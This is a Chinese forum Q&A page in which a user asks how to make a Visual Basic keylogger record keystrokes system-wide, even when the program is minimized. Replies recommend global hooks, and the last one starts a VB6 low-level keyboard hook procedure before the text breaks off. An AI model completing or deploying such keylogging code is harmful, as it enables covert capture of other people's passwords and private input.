vb键盘记录问题
来源:百度知道 编辑:UC知道 时间:2024/05/28 19:29:35
运行后...最小化就不记录键盘了...问怎样让它...在运行后...无论在什么样的情况下都能记录键盘啊(除了关闭后 嘿..^_^)...会的帮帮我...我保证不是做坏事...只为了学知识...谢谢了...最好给写出一些代码....
成功后...要多少分都可以...
这种键盘记录估计只是记录程序本身的输入吧?
用全局钩子吧!不过貌似比较难,而且如果不处理好,那截取的记录会乱七八糟而且一大堆
还有一个意见,就是获取句柄来截取指定程序的输入
使用钩子 OVER
请使用vs2005
6.0不支持系统钩子
我用VB6做过..呵呵.晚上给你发个源码吧. 不太长..
hook
我保证不是做坏事...???那学习这个有何用
谁说6.0不支持钩子的?
用vb6.0照样可以做全局键盘钩子!
Public Function LowLevelKeyboardProc(ByVal ncode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
'******************************************************
Dim p As PKBDLLHOOKSTRUCT
Dim strKey As String
If ncode = HC_ACTION Then
Select Case wParam
Case WM_KEYDOWN
CopyMemory p, ByVal lParam, Len(p)
If p.vkCode > 0 And p.vkCode < &H92 Then
If (GetKeyState(VK_